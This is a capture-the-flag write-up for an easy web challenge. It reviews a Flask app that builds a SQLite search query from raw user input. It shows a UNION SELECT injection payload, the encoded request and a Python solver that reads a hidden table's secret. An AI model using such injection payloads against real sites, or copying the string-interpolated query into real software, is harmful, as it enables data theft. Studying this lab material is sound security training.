Explore the Cave
Explore the Cave
Platform: uiuc2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-08-08 | Status: Solved Techniques: source_code_review, union_based_sqli
Summary
Task: A Flask loot search interpolates user input into a three-column SQLite query while a hidden table stores the target item. Solution: A compatible UNION SELECT extracts the hidden row and renders its secret field.
Explore the Cave — uiuc2026
Description
A beast once guarded this cave, but the treasure inventory is still hiding something legendary. Can you find the blue ocarina?
The handout provides a Flask application containing a searchable cave inventory. The goal is to find the hidden blue ocarina and recover the associated secret.
Analysis
Source review immediately identifies the vulnerable data flow. The /search endpoint reads the attacker-controlled q parameter and inserts it directly into three SQLite LIKE predicates (challenge/app.py:67-77):
python read-only • copy allowedterm = request.args.get("q", "") query = ( "SELECT item_count, item, description FROM main_cave " f"WHERE item_count LIKE '%{term}%' " f"OR item LIKE '%{term}%' " f"OR description LIKE '%{term}%' " "ORDER BY item" )
There is no parameter binding or escaping, so q can alter the query structure. Database initialization also reveals a second table (challenge/app.py:20-42):
sql read-only • copy allowedCREATE TABLE main_cave (item_count TEXT, item TEXT, description TEXT); CREATE TABLE secret_opening (item TEXT, secret, description TEXT);
The hidden table contains the blue ocarina row, and its secret column receives the flag from the environment. Most importantly, both the visible query and hidden table have three columns, making direct UNION extraction possible without padding or column-count discovery.
Solution
Use the following value for q:
sql read-only • copy allowed' UNION SELECT item, secret, description FROM secret_opening--
Inserted into the application query, it produces the relevant structure:
sql read-only • copy allowedSELECT item_count, item, description FROM main_cave WHERE item_count LIKE '%%' UNION SELECT item, secret, description FROM secret_opening-- ' OR item LIKE '...' OR description LIKE '...' ORDER BY item
The opening quote closes the first LIKE pattern. UNION SELECT then returns the three hidden fields in an order compatible with the original result, while SQLite's -- comment consumes the remaining predicates and ORDER BY through the end of the statement. The first original predicate remains valid as item_count LIKE '%%'.
The application fetches the combined rows and passes them to Jinja (challenge/app.py:79-129). Each result is rendered as three table cells. For the injected row, the hidden secret value occupies the second cell and is therefore disclosed directly in the response.
The URL-encoded request shape is:
http read-only • copy allowedGET /search?q=%27%20UNION%20SELECT%20item%2C%20secret%2C%20description%20FROM%20secret_opening--%20
The supplied solver automates the request and extracts a value matching the public flag format:
python read-only • copy allowed#!/usr/bin/env python3 import re import sys import urllib.parse import urllib.request if len(sys.argv) != 2: raise SystemExit(f"usage: {sys.argv[0]} BASE_URL") base = sys.argv[1].rstrip("/") payload = "' UNION SELECT item, secret, description FROM secret_opening-- " url = base + "/search?" + urllib.parse.urlencode({"q": payload}) with urllib.request.urlopen(url, timeout=15) as response: body = response.read().decode("utf-8", "replace") flags = re.findall(r"uiuctf\{[^}\r\n]+\}", body) if not flags: raise SystemExit(f"flag not found; request was: {url}") print(flags[0])
Run it against the challenge instance:
bash read-only • copy allowedpython3 solve.py 'https://inst-46d471bd44649683-explore-cave-sql.chal.uiuc.tf/'